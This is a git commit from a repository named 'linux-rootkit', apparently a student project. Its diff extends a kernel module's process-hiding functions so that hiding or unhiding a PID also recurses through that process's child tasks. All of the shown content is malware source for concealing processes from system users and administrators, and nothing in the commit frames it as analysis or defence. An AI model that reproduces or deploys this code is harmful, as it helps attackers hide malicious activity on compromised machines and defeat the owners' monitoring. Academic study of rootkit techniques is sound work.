linux-rootkit

commit 4fee4ff8a9ad076a004aae6efba43acaa1cbb8e3
parent b19cc27f9a6cafa8c41ac305443837f10a4d3007
Author: deurzen <m.deurzen@tum.de>
Date:   Sun, 29 Nov 2020 18:46:14 +0100

adds children pid hiding

Diffstat:
M
src/hidepid.c
 | 
26
++++++++++++++++++++++++++

1 file changed, 26 insertions(+), 0 deletions(-)
diff --git a/src/hidepid.c b/src/hidepid.c
@@ -49,15 +49,31 @@ unhide_pids(void)
 void
 hide_pid(pid_t pid)
 {
+    struct pid *spid;
+    struct task_struct *task;
+
     if (list_contains_pid(&hidden_pids, pid))
         return;
 
+    if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
+        return;
+
+    struct list_head *i;
+    list_for_each(i, &task->children) {
+        struct task_struct *child = list_entry(i, struct task_struct, sibling);
+
+        hide_pid(child->pid);
+    }
+
     add_pid_to_list(hidden_pids_tail, pid);
 }
 
 void
 unhide_pid(pid_t pid)
 {
+    struct pid *spid;
+    struct task_struct *task;
+
     pid_list_t_ptr node;
     if (!(node = find_pid_in_list(&hidden_pids, pid)))
         return;
@@ -65,6 +81,16 @@ unhide_pid(pid_t pid)
     if (node == &hidden_pids)
         return;
 
+    if (!(spid = find_get_pid(pid)) || !(task = pid_task(spid, PIDTYPE_PID)))
+        return;
+
+    struct list_head *i;
+    list_for_each(i, &task->children) {
+        struct task_struct *child = list_entry(i, struct task_struct, sibling);
+
+        unhide_pid(child->pid);
+    }
+
     remove_pid_from_list(node, pid);
 }